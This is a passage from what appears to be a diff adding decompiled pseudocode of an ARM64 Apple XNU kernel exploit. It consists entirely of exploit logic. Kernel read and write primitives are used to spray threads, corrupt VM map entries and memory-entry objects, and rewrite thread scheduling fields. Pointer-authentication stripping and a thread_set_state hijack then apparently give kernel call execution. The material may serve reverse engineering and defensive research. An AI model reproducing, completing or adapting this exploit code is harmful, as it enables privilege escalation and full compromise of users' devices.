sub_10B90(__int64 a1, __int64 a2, __int64 a3) +{ + *(_QWORD *)(a3 + 168) = *(_QWORD *)(a1 + 376); + return sub_10B08((_QWORD *)a1, a2, *(_DWORD *)(a1 + 656), *(_QWORD *)(a1 + 624), *(_QWORD *)(a1 + 632), a3); +} + +//----- (0000000000010C2C) ---------------------------------------------------- +__int64 __fastcall sub_10C2C(__int64 a1, __int64 a2, int a3, __int64 a4) +{ + __int64 v7; // x4 + __int64 v8; // x22 + __int64 v9; // x23 + __int64 v10; // x24 + __int64 v11; // x8 + __int64 v12; // x10 + __int64 v13; // x0 + __int64 v14; // x1 + _OWORD v16[9]; // [xsp+0h] [xbp-140h] BYREF + __int128 v17; // [xsp+90h] [xbp-B0h] + __int128 v18; // [xsp+A0h] [xbp-A0h] + __int128 v19; // [xsp+B0h] [xbp-90h] + __int128 v20; // [xsp+C0h] [xbp-80h] + __int128 v21; // [xsp+D0h] [xbp-70h] + __int128 v22; // [xsp+E0h] [xbp-60h] + __int64 vars8; // [xsp+148h] [xbp+8h] + + v21 = 0u; + v22 = 0u; + v19 = 0u; + v20 = 0u; + v17 = 0u; + v18 = 0u; + memset(v16, 0, sizeof(v16)); + v7 = *(_QWORD *)(a1 + 632); + if ( v7 ) + { + v8 = *(_QWORD *)(a1 + 632); + if ( (*(_BYTE *)(a1 + 652) & 1) == 0 ) + v8 = *(_QWORD *)(a1 + 632); + } + else + { + v8 = 0; + } + if ( a3 >= 1 ) + { + v9 = 0; + v10 = (unsigned int)a3; + do + { + if ( (unsigned int)v9 < 8 || (_DWORD)v9 == 15 ) + { + *((_QWORD *)v16 + v9) = *(_QWORD *)(a4 + 8 * v9); + } + else + { + kwrite64_via_kwritebuf(*(_QWORD *)(a1 + 8), v8, *(_QWORD *)(a4 + 8 * v9)); + v8 += 8; + } + ++v9; + } + while ( v10 != v9 ); + v7 = *(_QWORD *)(a1 + 632); + } + v11 = *(_QWORD *)(a1 + 664); + v12 = *(_QWORD *)(a1 + 376); + *((_QWORD *)&v17 + 1) = v11 + 61416; + *((_QWORD *)&v18 + 1) = v12; + *((_QWORD *)&v19 + 1) = v11 + 61312; + sub_10B08((_QWORD *)a1, a2, *(_DWORD *)(a1 + 660), qword_48038, v7, (__int64)v16); + v13 = *(_QWORD *)(a1 + 8); + v14 = *(_QWORD *)(a1 + 664) + 61440LL; + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return sub_10660(v13, v14); +} +// 48038: using guessed type __int64 qword_48038; + +//----- (0000000000010DEC) ---------------------------------------------------- +__int64 __fastcall sub_10DEC(__int64 a1, __int64 a2, _QWORD *a3) +{ + __int64 v3; // x8 + _QWORD *v4; // x10 + _OWORD v7[14]; // [xsp+10h] [xbp-100h] BYREF + __int64 v8; // [xsp+F0h] [xbp-20h] + + v3 = 0; + v8 = 0; + memset(v7, 0, sizeof(v7)); + do + { + v4 = a3++; + *(_QWORD *)((char *)v7 + v3) = *v4; + v3 += 8; + } + while ( v3 != 232 ); + return (*(__int64 (__fastcall **)(__int64, __int64, __int64, _OWORD *))(*(_QWORD *)a1 + 8LL))(a1, a2, 29, v7); +} + +//----- (0000000000010EA8) ---------------------------------------------------- +__int64 __fastcall sub_10EA8(__int64 a1, __int64 a2, __int64 a3) +{ + __int64 v4; // x0 + __int64 v5; // x1 + __int64 v7; // [xsp+8h] [xbp-108h] BYREF + __int128 v8; // [xsp+10h] [xbp-100h] + __int128 v9; // [xsp+20h] [xbp-F0h] + __int128 v10; // [xsp+30h] [xbp-E0h] + __int128 v11; // [xsp+40h] [xbp-D0h] + __int128 v12; // [xsp+50h] [xbp-C0h] + __int128 v13; // [xsp+60h] [xbp-B0h] + __int128 v14; // [xsp+70h] [xbp-A0h] + __int128 v15; // [xsp+80h] [xbp-90h] + __int128 v16; // [xsp+90h] [xbp-80h] + __int128 v17; // [xsp+A0h] [xbp-70h] + __int128 v18; // [xsp+B0h] [xbp-60h] + __int128 v19; // [xsp+C0h] [xbp-50h] + __int128 v20; // [xsp+D0h] [xbp-40h] + __int128 v21; // [xsp+E0h] [xbp-30h] + __int64 v22; // [xsp+F0h] [xbp-20h] + __int64 vars8; // [xsp+118h] [xbp+8h] + + v14 = 0u; + v15 = 0u; + v16 = 0u; + v22 = 0; + v21 = 0u; + v20 = 0u; + v19 = 0u; + v18 = 0u; + v17 = 0u; + v12 = 0u; + v13 = 0u; + v10 = 0u; + v11 = 0u; + v8 = 0u; + v9 = 0u; + v7 = *(_QWORD *)(a1 + 664) + 61440LL; + *((_QWORD *)&v15 + 1) = a2; + *(_QWORD *)&v16 = a3; + sub_10B90(a1, qword_48020, (__int64)&v7); + v4 = *(_QWORD *)(a1 + 8); + v5 = *(_QWORD *)(a1 + 664) + 61440LL; + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return sub_10660(v4, v5); +} +// 48020: using guessed type __int64 qword_48020; + +//----- (0000000000010F6C) ---------------------------------------------------- +__int64 __fastcall sub_10F6C(__int64 a1, __int64 a2) +{ + return (*(__int64 (__fastcall **)(__int64, __int64, _QWORD))(*(_QWORD *)a1 + 16LL))(a1, a2, 0); +} + +//----- (0000000000010F84) ---------------------------------------------------- +__int64 __fastcall sub_10F84(__int64 a1, __int64 a2, __int64 a3) +{ + __int64 v4; // x0 + __int64 v5; // x1 + __int64 v7; // [xsp+8h] [xbp-118h] BYREF + __int128 v8; // [xsp+10h] [xbp-110h] + __int128 v9; // [xsp+20h] [xbp-100h] + __int128 v10; // [xsp+30h] [xbp-F0h] + __int128 v11; // [xsp+40h] [xbp-E0h] + __int128 v12; // [xsp+50h] [xbp-D0h] + __int128 v13; // [xsp+60h] [xbp-C0h] + __int128 v14; // [xsp+70h] [xbp-B0h] + __int128 v15; // [xsp+80h] [xbp-A0h] + __int128 v16; // [xsp+90h] [xbp-90h] + __int128 v17; // [xsp+A0h] [xbp-80h] + __int128 v18; // [xsp+B0h] [xbp-70h] + __int128 v19; // [xsp+C0h] [xbp-60h] + __int128 v20; // [xsp+D0h] [xbp-50h] + __int128 v21; // [xsp+E0h] [xbp-40h] + __int64 v22; // [xsp+F0h] [xbp-30h] + __int64 vars8; // [xsp+128h] [xbp+8h] + + v14 = 0u; + v15 = 0u; + v16 = 0u; + v22 = 0; + v21 = 0u; + v20 = 0u; + v19 = 0u; + v18 = 0u; + v17 = 0u; + v12 = 0u; + v13 = 0u; + v10 = 0u; + v11 = 0u; + v8 = 0u; + v9 = 0u; + v7 = *(_QWORD *)(a1 + 664) + 61696LL; + *((_QWORD *)&v15 + 1) = a2; + *(_QWORD *)&v16 = a3; + sub_10B90(a1, qword_48028, (__int64)&v7); + v4 = *(_QWORD *)(a1 + 8); + v5 = *(_QWORD *)(a1 + 664) + 61696LL; + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return sub_10660(v4, v5); +} +// 48028: using guessed type __int64 qword_48028; + +//----- (0000000000011054) ---------------------------------------------------- +__int64 __fastcall sub_11054(__int64 *a1, __int64 a2, __int64 a3) +{ + _QWORD v5[2]; // [xsp+8h] [xbp-48h] BYREF + __int128 v6; // [xsp+18h] [xbp-38h] + __int128 v7; // [xsp+28h] [xbp-28h] + + v5[0] = a1[83] + 61400; + v5[1] = a3; + v6 = 0u; + v7 = 0u; + (*(void (__fastcall **)(__int64 *, __int64, __int64, _QWORD *))(*a1 + 8))(a1, qword_48018, 6, v5); + return sub_10660(a1[1], a1[83] + 61696); +} +// 48018: using guessed type __int64 qword_48018; + +//----- (00000000000110FC) ---------------------------------------------------- +__int64 __fastcall sub_110FC( + __int64 a1, + __int64 a2, + __int64 a3, + __int64 a4, + __int64 a5, + __int64 a6, + __int64 a7, + __int64 a8, + __int64 a9) +{ + __int64 v9; // x8 + __int64 *v10; // x10 + __int64 *v12; // [xsp+8h] [xbp-98h] + _OWORD v13[7]; // [xsp+10h] [xbp-90h] BYREF + __int64 v14; // [xsp+80h] [xbp-20h] + __int64 v15; // [xsp+88h] [xbp-18h] + + v9 = 0; + v12 = &a9; + v14 = 0; + memset(v13, 0, sizeof(v13)); + do + { + v10 = v12++; + *(_QWORD *)((char *)v13 + v9) = *v10; + v9 += 8; + } + while ( v9 != 64 ); + v15 = a2; + return (*(__int64 (__fastcall **)(__int64, __int64, __int64, _OWORD *))(*(_QWORD *)a1 + 8LL))( + a1, + qword_48000, + 16, + v13); +} +// 48000: using guessed type __int64 qword_48000; + +//----- (00000000000111B4) ---------------------------------------------------- +__int64 __fastcall sub_111B4(__int64 a1) +{ + return (*(__int64 (**)(void))(a1 + 16))(); +} + +//----- (00000000000111C0) ---------------------------------------------------- +__int64 __fastcall sub_111C0(__int64 a1) +{ + __int64 *v2; // x20 + unsigned __int64 v3; // x24 + __int64 v4; // x0 + __int64 v5; // x23 + unsigned int v6; // w0 + unsigned __int64 v7; // x27 + __int64 v8; // x22 + unsigned int v9; // w0 + int v10; // w21 + __int64 v11; // x0 + __int64 v12; // x8 + unsigned __int64 v13; // x22 + unsigned __int64 v14; // x25 + unsigned __int64 v15; // x27 + unsigned __int64 v16; // x0 + bool v17; // cf + unsigned int v19; // w0 + unsigned __int64 v20; // x27 + int v21; // w21 + thread_act_t v22; // w1 + unsigned __int64 v23; // x25 + __int64 v24; // x22 + unsigned __int64 v25; // x0 + vm_offset_t v26; // x26 + vm_address_t v27; // x26 + thread_act_t v28; // w22 + unsigned __int64 v29; // x22 + unsigned __int64 i; // x24 + int v31; // w0 + int v32; // w0 + int v33; // w0 + unsigned int v34; // w8 + __int64 *v35; // x24 + vm_address_t v36; // x28 + thread_act_t v37; // w0 + __int64 v38; // x22 + mach_port_t v39; // w0 + mach_vm_address_t v40; // x22 + __int64 v41; // x26 + int v42; // w8 + int v43; // w8 + __int64 v44; // x22 + __int64 v45; // x22 + unsigned int v46; // w1 + __int64 v47; // x8 + __int64 v48; // x28 + thread_act_t v51; // w0 + __int64 j; // x22 + thread_act_t v53; // w0 + int v54; // w8 + struct_krwCtx *v55; // x0 + int v56; // w22 + _BOOL4 v57; // w0 + __int64 v58; // x9 + unsigned __int64 v59; // x9 + int v60; // w10 + int v61; // w24 + unsigned __int64 v62; // x22 + unsigned int v63; // w0 + unsigned __int64 v64; // x22 + unsigned __int64 v65; // x25 + unsigned int v66; // w0 + unsigned __int64 v67; // x8 + __int64 v68; // x22 + __int64 v69; // x0 + unsigned __int64 v70; // x0 + struct_krwCtx *v71; // x22 + __int64 v72; // x0 + unsigned __int64 v73; // x0 + struct_krwCtx *v74; // x22 + __int64 v75; // x0 + mach_vm_address_t v76; // x1 + unsigned __int64 v77; // x22 + __int64 v78; // x25 + __int64 v79; // x8 + _DWORD *v80; // x9 + _QWORD *v81; // x10 + _QWORD *v82; // x8 + int v83; // w11 + __int64 v84; // x0 + __int64 v85; // x1 + mach_msg_header_t *v86; // x0 + vm_offset_t v87; // x22 + __int64 v88; // x24 + vm_address_t v89; // x8 + __int64 v90; // x22 + __int64 v91; // x24 + __int64 v92; // x0 + void *v94; // [xsp+40h] [xbp-6C0h] + __int64 v95; // [xsp+58h] [xbp-6A8h] + __int64 v96; // [xsp+98h] [xbp-668h] + __int64 v97; // [xsp+A0h] [xbp-660h] + vm_address_t v98; // [xsp+A8h] [xbp-658h] + unsigned __int64 v99; // [xsp+A8h] [xbp-658h] + __int64 v100; // [xsp+B0h] [xbp-650h] + mach_vm_address_t v101; // [xsp+B8h] [xbp-648h] + unsigned __int64 v102; // [xsp+C0h] [xbp-640h] + __int64 v103; // [xsp+C8h] [xbp-638h] + int v104; // [xsp+D4h] [xbp-62Ch] + unsigned __int64 v105; // [xsp+D8h] [xbp-628h] + unsigned __int64 v106; // [xsp+E0h] [xbp-620h] + unsigned int v107; // [xsp+ECh] [xbp-614h] + vm_offset_t v108; // [xsp+F0h] [xbp-610h] + unsigned __int64 v109; // [xsp+F8h] [xbp-608h] + vm_address_t v110; // [xsp+100h] [xbp-600h] BYREF + _QWORD v111[6]; // [xsp+108h] [xbp-5F8h] BYREF + semaphore_t v112; // [xsp+138h] [xbp-5C8h] + semaphore_t v113; // [xsp+13Ch] [xbp-5C4h] + natural_t v114[4]; // [xsp+140h] [xbp-5C0h] BYREF + __int128 v115; // [xsp+150h] [xbp-5B0h] + __int128 v116; // [xsp+160h] [xbp-5A0h] + __int128 v117; // [xsp+170h] [xbp-590h] + __int128 v118; // [xsp+180h] [xbp-580h] + __int128 v119; // [xsp+190h] [xbp-570h] + __int128 v120; // [xsp+1A0h] [xbp-560h] + __int128 v121; // [xsp+1B0h] [xbp-550h] + __int128 v122; // [xsp+1C0h] [xbp-540h] + __int128 v123; // [xsp+1D0h] [xbp-530h] + __int128 v124; // [xsp+1E0h] [xbp-520h] + __int128 v125; // [xsp+1F0h] [xbp-510h] + __int128 v126; // [xsp+200h] [xbp-500h] + __int128 v127; // [xsp+210h] [xbp-4F0h] + __int128 v128; // [xsp+220h] [xbp-4E0h] + __int128 v129; // [xsp+230h] [xbp-4D0h] + __int128 v130; // [xsp+240h] [xbp-4C0h] + _QWORD v131[2]; // [xsp+250h] [xbp-4B0h] BYREF + __int64 (__fastcall *v132)(__int64, unsigned __int8); // [xsp+260h] [xbp-4A0h] + void *v133; // [xsp+268h] [xbp-498h] + __int64 v134; // [xsp+270h] [xbp-490h] + __int64 v135; // [xsp+278h] [xbp-488h] + unsigned __int64 v136; // [xsp+280h] [xbp-480h] + unsigned __int64 v137; // [xsp+288h] [xbp-478h] + unsigned __int64 v138; // [xsp+290h] [xbp-470h] + vm_size_t v139; // [xsp+298h] [xbp-468h] + __int64 v140; // [xsp+2A0h] [xbp-460h] + __int64 v141; // [xsp+2A8h] [xbp-458h] + int v142; // [xsp+2B0h] [xbp-450h] + mem_entry_name_port_t v143; // [xsp+2B4h] [xbp-44Ch] + vm_address_t v144; // [xsp+2B8h] [xbp-448h] BYREF + integer_t policy_info[4]; // [xsp+2C0h] [xbp-440h] BYREF + _QWORD v146[7]; // [xsp+2D0h] [xbp-430h] BYREF + semaphore_t v147; // [xsp+308h] [xbp-3F8h] + semaphore_t v148; // [xsp+30Ch] [xbp-3F4h] + pthread_t v149; // [xsp+310h] [xbp-3F0h] BYREF + __int64 v150; // [xsp+318h] [xbp-3E8h] BYREF + vm_address_t v151; // [xsp+320h] [xbp-3E0h] BYREF + vm_address_t v152; // [xsp+328h] [xbp-3D8h] BYREF + thread_act_t target_act; // [xsp+334h] [xbp-3CCh] BYREF + thread_act_t v154; // [xsp+338h] [xbp-3C8h] BYREF + mem_entry_name_port_t object_handle; // [xsp+33Ch] [xbp-3C4h] BYREF + vm_address_t address; // [xsp+340h] [xbp-3C0h] BYREF + vm_size_t size; // [xsp+348h] [xbp-3B8h] BYREF + vm_address_t offset; // [xsp+350h] [xbp-3B0h] BYREF + int v159; // [xsp+35Ch] [xbp-3A4h] BYREF + semaphore_t v160; // [xsp+360h] [xbp-3A0h] BYREF + semaphore_t semaphore; // [xsp+364h] [xbp-39Ch] BYREF + thread_act_t v162; // [xsp+368h] [xbp-398h] BYREF + thread_act_t child_act; // [xsp+36Ch] [xbp-394h] BYREF + __int128 v164; // [xsp+370h] [xbp-390h] BYREF + __int128 v165; // [xsp+380h] [xbp-380h] + __int128 v166; // [xsp+390h] [xbp-370h] + __int128 v167; // [xsp+3A0h] [xbp-360h] + __int128 v168; // [xsp+3B0h] [xbp-350h] + __int128 v169; // [xsp+3C0h] [xbp-340h] + __int128 v170; // [xsp+3D0h] [xbp-330h] + __int128 v171; // [xsp+3E0h] [xbp-320h] + __int128 v172; // [xsp+3F0h] [xbp-310h] + __int128 v173; // [xsp+400h] [xbp-300h] + __int128 v174; // [xsp+410h] [xbp-2F0h] + __int128 v175; // [xsp+420h] [xbp-2E0h] + __int128 v176; // [xsp+430h] [xbp-2D0h] + __int128 v177; // [xsp+440h] [xbp-2C0h] + __int128 v178; // [xsp+450h] [xbp-2B0h] + _OWORD __dst[19]; // [xsp+460h] [xbp-2A0h] BYREF + _OWORD v180[16]; // [xsp+590h] [xbp-170h] BYREF + + v2 = (__int64 *)(a1 + 8); + v104 = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(a1 + 8) + 32LL) + 320LL); + child_act = 0; + thread_create(mach_task_self_, &child_act); + v162 = 0; + thread_create(mach_task_self_, &v162); + semaphore = 0; + semaphore_create(mach_task_self_, &semaphore, 0, 0); + v160 = 0; + semaphore_create(mach_task_self_, &v160, 0, 0); + v159 = 0; + v106 = sub_35A50(*(struct_krwCtx **)(*v2 + 32), 0, &v159); + do + { + offset = 0; + size = 0x4000; + address = 0; + vm_map(mach_task_self_, &address, 0xC000u, 0, 1, 0, 0, 0, 0, 0, 2u); + offset = address + 0x4000; + vm_allocate(mach_task_self_, &offset, size, 0x4000); + *(_QWORD *)offset = 0xC0C0C0C0C0C0C0C0LL; + mach_make_memory_entry(mach_task_self_, &size, offset, 3, &object_handle, 0); + v3 = sub_224B4(*v2, object_handle); + v4 = sub_10660(*v2, v3 + 16); + v5 = sub_10660(*v2, v4 + 24); + v6 = kread32(*v2, v5 + 60); + if ( (v6 & 0x80000000) != 0 ) + v7 = 48LL * (v6 & 0x7FFFFFFF); + else + v7 = ((unsigned __int64)v6 << v159) + v106; + v8 = sub_10660(*v2, v7 + 32); + v9 = kread32(*v2, v7); + } + while ( (v9 & 0x80000000) == 0 ); + v95 = v7; + v10 = 0; + v109 = v8 - 48LL * v9 + 0x1800000000LL; + v11 = *(_QWORD *)(a1 + 8); + v12 = *(_QWORD *)(v11 + 32); + v13 = *(_QWORD *)(v12 + 6632); + v14 = *(_QWORD *)(v12 + 6640); + while ( 1 ) + { + v15 = v109 + (v10 & 0xFFFFFFF0); + v16 = sub_10660(v11, v15 + 24); + v17 = v16 < v13 || v16 >= v14; + if ( !v17 && (v16 & 0x3FFF) == 0 ) + { + v19 = kread32(*(_QWORD *)(a1 + 8), v15 + 32); + *(_QWORD *)(a1 + 32) = v19; + if ( v19 ) + { + v20 = (v19 & 0x80000000) != 0 ? v109 + 48LL * (v19 & 0x7FFFFFFF) : ((unsigned __int64)v19 << v159) + v106; + if ( (unsigned int)kread32(*v2, v20 + 48) > 0xFFF ) + break; + } + } + v11 = *v2; + v10 += 48; + } + kwrite64_via_kwritebuf(*v2, v3 + 24, 0); + kwrite64_via_kwritebuf(*v2, v3 + 32, -16384); + v154 = 0; + v21 = 256; + do + { + thread_create(mach_task_self_, &v154); + --v21; + } + while ( v21 ); + v107 = 0; + target_act = 0; + v103 = v5 + 48; + v102 = v95 - v106; + v94 = (void *)(a1 + 44); + do + { + if ( target_act ) + thread_terminate(target_act); + thread_create(mach_task_self_, &target_act); + v22 = target_act; + *(_DWORD *)(a1 + 672) = 0; + v23 = sub_224B4(*(_QWORD *)(a1 + 8), v22); + v24 = sub_10660(*(_QWORD *)(a1 + 8), qword_48008 + v23); + v25 = sub_29CB0(*(struct_krwCtx **)(*(_QWORD *)(a1 + 8) + 32LL), v24); + if ( ((v25 + 272) & 0x3F) == 0x10 || (v25 & 0x3FFF) > 0x3EC0 ) + goto LABEL_68; + v96 = v24; + v105 = v25 & 0x3FFF; + v100 = v25; + v101 = v25 + 272; + v26 = v25 & 0xFFFFFFFFFFFFC000LL; + v152 = 0; + memset(__dst, 0, 32); + sub_1062C(*(_QWORD *)(a1 + 8), v103, (__int64)__dst, 32); + HIDWORD(__dst[0]) = *(_QWORD *)(a1 + 32); + kwritebuf_0_or_5(*(_QWORD *)(a1 + 8), v103, (__int64)__dst, 32); + vm_map(mach_task_self_, &v152, 0x4000u, 0, 1, object_handle, v23 & 0xFFFFFFFFFFFFC000LL, 0, 3, 3, 1u); + memset(__dst, 0, 32); + sub_1062C(*(_QWORD *)(a1 + 8), v103, (__int64)__dst, 32); + HIDWORD(__dst[0]) = v102 >> v159; + kwritebuf_0_or_5(*(_QWORD *)(a1 + 8), v103, (__int64)__dst, 32); + v97 = qword_48008; + v98 = v152; + v151 = 0; + memset(__dst, 0, 32); + sub_1062C(*(_QWORD *)(a1 + 8), v103, (__int64)__dst, 32); + HIDWORD(__dst[0]) = *(_QWORD *)(a1 + 32); + kwritebuf_0_or_5(*(_QWORD *)(a1 + 8), v103, (__int64)__dst, 32); + v108 = v26; + vm_map(mach_task_self_, &v151, 0x4000u, 0, 1, object_handle, v26, 0, 3, 3, 1u); + memset(__dst, 0, 32); + sub_1062C(*(_QWORD *)(a1 + 8), v103, (__int64)__dst, 32); + HIDWORD(__dst[0]) = v102 >> v159; + kwritebuf_0_or_5(*(_QWORD *)(a1 + 8), v103, (__int64)__dst, 32); + v27 = v151; + v150 = 0; + memset(v180, 0, sizeof(v180)); + v146[0] = _NSConcreteStackBlock; + v146[1] = 3221225472LL; + v146[2] = sub_125E4; + v146[3] = &unk_44870; + v147 = v160; + v148 = semaphore; + v146[4] = &v150; + v146[5] = &target_act; + v146[6] = v180; + pthread_create(&v149, 0, (void *(__cdecl *)(void *))sub_111B4, v146); + semaphore_wait(semaphore); + v28 = pthread_mach_thread_np(v149); + *(_OWORD *)policy_info = xmmword_42F00; + thread_policy_set(v28, 2u, policy_info, 4u); + v29 = sub_224B4(*(_QWORD *)(a1 + 8), v28); + if ( !v107 ) + { + v107 = 0; + for ( i = 252; i < 0x2FC; i += 4LL ) + { + v31 = kread32(*v2, v29 + i + 4); + if ( v31 == policy_info[0] ) + { + v32 = kread32(*v2, v29 + i + 8); + if ( v32 == policy_info[1] ) + { + v33 = kread32(*v2, v29 + i + 12); + v34 = v107; + if ( v33 == policy_info[2] ) + v34 = i + 4; + v107 = v34; + } + } + } + } + v35 = (__int64 *)(v98 + (v23 & 0x3FFF) + v97); + v36 = v27 + v105; + sub_10708(*(_QWORD *)(a1 + 8), v29 + v107 + 4, 1); + *(_OWORD *)policy_info = xmmword_42F10; + v37 = mach_thread_self(); + thread_policy_set(v37, 2u, policy_info, 4u); + v38 = *(_QWORD *)(a1 + 8); + v39 = mach_thread_self(); + v40 = sub_224B4(v38, v39) + v107; + sub_10708(*(_QWORD *)(a1 + 8), v40, 0x7FFFFFFF); + sub_10708(*(_QWORD *)(a1 + 8), v40 + 4, 0x7FFFFFFF); + sub_10708(*(_QWORD *)(a1 + 8), v40 + 8, 0x7FFFFFFF); + sub_10708(*(_QWORD *)(a1 + 8), v40 + 12, 256); + kwrite64_via_kwritebuf(*(_QWORD *)(a1 + 8), v40 + 16, 0xFFFFFFFFFFFFFFFLL); + semaphore_signal(v160); + *(v35 - 1) = 0; + v41 = *(_QWORD *)(v27 + v105 + 296); + if ( (*(_DWORD *)(v36 + 272) & 0x1000) != 0 ) + v42 = 4194824; + else + v42 = 4194820; + *(_DWORD *)(a1 + 660) = v42; + v43 = v42 | 0x3C0; + *(_DWORD *)(a1 + 656) = v43; + *(_DWORD *)(v36 + 272) = v43; + if ( v104 <= 10001 ) + *v35 = 0; + thread_switch(0, 0, 0); + v150 = 1; + while ( v150 == 1 ) + { + if ( *v35 ) + { + v44 = *(v35 - 1); + if ( sub_29CB0(*(struct_krwCtx **)(*v2 + 32), *v35) == v44 ) + { + *v35 = v96; + goto LABEL_47; + } + } + } + v44 = 0; +LABEL_47: + pthread_join(v149, 0); + if ( v104 <= 10001 ) + *v35 = v44; + v45 = 0; + while ( 1 ) + { + v46 = *(_DWORD *)((char *)v180 + v45); + if ( v46 ) + { + if ( sub_224B4(*v2, v46) == v23 ) + break; + } + v45 += 4; + if ( v45 == 256 ) + { + v47 = v150; + goto LABEL_55; + } + } + v150 = 3; + *(_DWORD *)(a1 + 672) = *(_DWORD *)((char *)v180 + v45); + *(_DWORD *)((char *)v180 + v45) = 0; + v47 = 3; +LABEL_55: + v48 = *(_QWORD *)(v36 + 296); + if ( v41 == v48 || v48 == 0 || v47 != 3 ) + { + v51 = *(_DWORD *)(a1 + 672); + if ( v51 + 1 >= 2 ) + { + thread_terminate(v51); + *(_DWORD *)(a1 + 672) = 0; + } + for ( j = 0; j != 256; j += 4 ) + { + v53 = *(_DWORD *)((char *)v180 + j); + if ( v53 ) + thread_terminate(v53); + } +LABEL_68: + v54 = 87; + continue; + } + v55 = *(struct_krwCtx **)(*v2 + 32); + v56 = v55->xnuMajorVersion; + v57 = krw_ctx_has_flag(v55, 89670145); + if ( v56 >= 8796 ) + { + v58 = 184; + if ( v57 ) + v58 = 112; + v59 = v58 + (v23 & 0x3FFF); + v60 = *(_DWORD *)(v59 + v152); + if ( (v60 & 0x8000) == 0 ) + *(_DWORD *)(v152 + v59) = v60 | 0x8000; + } + v61 = 256; + do + { + thread_create(mach_task_self_, &v154); + if ( v154 ) + { + v62 = sub_224B4(*v2, v154); + if ( validate_addr(*(_QWORD *)(*v2 + 32), v62) ) + { + kwrite64_via_kwritebuf(*v2, v62 + qword_48008 - 8, 0); + thread_terminate(v154); + v154 = 0; + } + } + --v61; + } + while ( v61 ); + kwrite64_via_kwritebuf(*v2, v23 + qword_48008 - 8, v100); + kwrite64_via_kwritebuf(*v2, qword_48008 + v23, v96); + v63 = kread32(*v2, v20); + if ( (v63 & 0x80000000) != 0 ) + { + v65 = v109 + 48LL * (v63 & 0x7FFFFFFF); + v64 = v106; + } + else + { + v64 = v106; + v65 = ((unsigned __int64)v63 << v159) + v106; + } + while ( sub_10660(*v2, v65 + 24) != v108 ) + { + v66 = kread32(*v2, v65 + 8); + if ( (v66 & 0x80000000) != 0 ) + v65 = v109 + 48LL * (v66 & 0x7FFFFFFF); + else + v65 = ((unsigned __int64)v66 << v159) + v64; + } + if ( v65 >= v109 ) + v67 = ((v65 - v109) / 0x30) | 0x80000000; + else + v67 = (v65 - v64) >> v159; + v99 = v67; + v144 = 0; + memset(__dst, 0, 32); + sub_1062C(*(_QWORD *)(a1 + 8), v103, (__int64)__dst, 32); + HIDWORD(__dst[0]) = *(_QWORD *)(a1 + 32); + kwritebuf_0_or_5(*(_QWORD *)(a1 + 8), v103, (__int64)__dst, 32); + vm_map(mach_task_self_, &v144, 0x4000u, 0, 1, object_handle, v108, 0, 3, 3, 1u); + memset(__dst, 0, 32); + sub_1062C(*(_QWORD *)(a1 + 8), v103, (__int64)__dst, 32); + HIDWORD(__dst[0]) = v102 >> v159; + kwritebuf_0_or_5(*(_QWORD *)(a1 + 8), v103, (__int64)__dst, 32); + *(_QWORD *)(a1 + 24) = v144 + v105; + sub_10708(*(_QWORD *)(a1 + 8), v101, *(_DWORD *)(a1 + 656)); + memcpy(__dst, *(const void **)(a1 + 24), sizeof(__dst)); + v68 = sub_10660(*(_QWORD *)(a1 + 8), v95); + v69 = sub_10660(*(_QWORD *)(a1 + 8), v65 + 8); + v131[0] = _NSConcreteStackBlock; + v131[1] = 3221225472LL; + v132 = sub_12678; + v133 = &unk_44890; + v134 = a1; + v135 = v95; + v136 = v99; + v137 = v65; + v138 = v106; + v139 = size; + v142 = v159; + v143 = object_handle; + v140 = v69; + v141 = v68; + v70 = sub_224B4(*(_QWORD *)(a1 + 8), v162); + v71 = *(struct_krwCtx **)(*(_QWORD *)(a1 + 8) + 32LL); + v72 = sub_10660(*(_QWORD *)(a1 + 8), qword_48008 + v70); + *(_QWORD *)(a1 + 360) = krw_xpac_vaddr_2(v71, v72); + v73 = sub_224B4(*(_QWORD *)(a1 + 8), child_act); + v74 = *(struct_krwCtx **)(*(_QWORD *)(a1 + 8) + 32LL); + v75 = sub_10660(*(_QWORD *)(a1 + 8), qword_48008 + v73); + *(_QWORD *)(a1 + 376) = krw_xpac_vaddr_2(v74, v75); + v76 = sub_1091C(a1, 0x10000); + *(_QWORD *)(a1 + 664) = v76; + v129 = 0u; + v130 = 0u; + v127 = 0u; + v128 = 0u; + v125 = 0u; + v126 = 0u; + v123 = 0u; + v124 = 0u; + v121 = 0u; + v122 = 0u; + v119 = 0u; + v120 = 0u; + v117 = 0u; + v118 = 0u; + v115 = 0u; + v116 = 0u; + *(_OWORD *)v114 = 0u; + *(_OWORD *)(a1 + 624) = 0u; + *(_OWORD *)(a1 + 640) = 0u; + *(_OWORD *)(a1 + 592) = 0u; + *(_OWORD *)(a1 + 608) = 0u; + *(_OWORD *)(a1 + 560) = 0u; + *(_OWORD *)(a1 + 576) = 0u; + *(_OWORD *)(a1 + 528) = 0u; + *(_OWORD *)(a1 + 544) = 0u; + *(_OWORD *)(a1 + 496) = 0u; + *(_OWORD *)(a1 + 512) = 0u; + *(_OWORD *)(a1 + 464) = 0u; + *(_OWORD *)(a1 + 480) = 0u; + *(_OWORD *)(a1 + 432) = 0u; + *(_OWORD *)(a1 + 448) = 0u; + *(_OWORD *)(a1 + 400) = 0u; + *(_OWORD *)(a1 + 416) = 0u; + *(_QWORD *)(a1 + 384) = *(_QWORD *)(a1 + 360); + *(_QWORD *)(a1 + 392) = 3233857728LL; + *(_QWORD *)(a1 + 552) = *(_QWORD *)(a1 + 376); + *(_QWORD *)(a1 + 640) = qword_48010; + *(_QWORD *)(a1 + 624) = qword_48030; + *(_DWORD *)(a1 + 652) = 0; + *(_QWORD *)(a1 + 632) = v76 + 32512; + *(_QWORD *)(a1 + 616) = 0xC0C0C0C0C0C0C0C0LL; + sub_10708(*(_QWORD *)(a1 + 8), v76, -1061109568); + v77 = -16384; + do + { + sub_10708(*(_QWORD *)(a1 + 8), v77 + *(_QWORD *)(a1 + 664) + 0x8000, v77 - 1061076800); + v77 += 0x4000LL; + } + while ( v77 < 0x8000 ); + memcpy(*(void **)(a1 + 24), __dst, 0x130u); + thread_set_state(*(_DWORD *)(a1 + 672), 6, (thread_state_t)(a1 + 384), 0x44u); + v78 = sub_10660(*(_QWORD *)(a1 + 8), v100 + 296); + memcpy(*(void **)(a1 + 24), __dst, 0x130u); + 